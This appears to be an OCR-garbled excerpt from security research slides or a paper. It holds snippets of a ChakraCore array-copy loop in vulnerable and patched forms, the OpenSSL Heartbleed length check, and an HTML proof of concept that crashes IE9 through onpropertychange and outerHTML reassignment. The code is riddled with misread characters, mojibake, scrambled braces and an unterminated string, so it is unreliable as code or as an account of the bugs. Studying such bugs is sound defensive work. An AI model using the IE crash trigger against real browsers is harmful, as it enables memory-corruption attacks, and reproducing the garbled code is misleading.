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var subltem;
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uint32 lengthToUin32Max = length.IsSmalllndex() ? length.GetSmalllndex() :
MaxArraylLength;

for (uint32 idxSubltem = Ou; idxSubltem < lengthToUin32Max; ++idxSubltem)

If (JavascriptOperators::Hasltem(itemObject, idxSubltem))

pDestArray-> DirectSetltemAt(idxDest, subItem);

SetArrayLikeObjects(pDestObj, idxDest, subltem);

{
{
subltem
if (pDestArray){
}
else{
}
}
++idxDest:
}
U il 1 % 07 SCUnF

hbtype = *p++;

n2s(p, payload);

if (1 + 2 + payload + 16 > s->s3->rrec.length) <T“§EEPHFIUEEIH’§JEH§

return 0; /* silently discard per RFC 6520 sec. 4 */
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<ldoctype html>

<!--Tested on win7 x86 |IE9 version(9.0.8112.16555) with page heap enabled -->
<html>

<body onload="test();">

<script>

function randEventListener()

{

document.write("475046")
}

function test()

{

elm = document.createElement('title')
document.body.appendChild(elm)
document.attachEvent("onpropertychange", randEventListener)
document.body.outerHTML = document.body.outerHTML

o = document.all[0]

o.textContent="

}
</script>
</body>
</html>
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var subltem;

uint32 lengthToUin32Max = length.IsSmalllndex() 7 length.GetSmalllndex() :
MaxArrayLength;

for (uint32 idxSubltem = Ou; idxSubltem < lengthToUin32Max; + +idxSubltem)

{
if (JavascriptOperators::Hasltem(itemObject, idxSubltem))

{
JavascriptOperators::Getltem(itemObject, idxSubltem, &subltem, scriptContext);

if (pDestArray)
{

}

pDestArray-> DirectSetltemAt(idxDest, subltem);

}
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var subltem;
uint32 lengthToUin32Max = length.IsSmalllndex() ? length.GetSmalllndex() :
MaxArraylLength;
for (uint32 idxSubltem = Ou; idxSubltem < lengthToUin32Max; + +idxSubltem)
{

if (JavascriptOperators::Hasltem(itemObject, idxSubltem))

{

subltem_z JavascriptOperators::Getltem(itemObject, idxSubltem, scriptContext);

1% Getltem )% [F]{E I 25 subltem

if (pDestArray){
pDestArray-> DirectSetltemAt(idxDest, subltem);
}

else{
SetArrayLikeObjects(pDestObj, idxDest, subltem);

}
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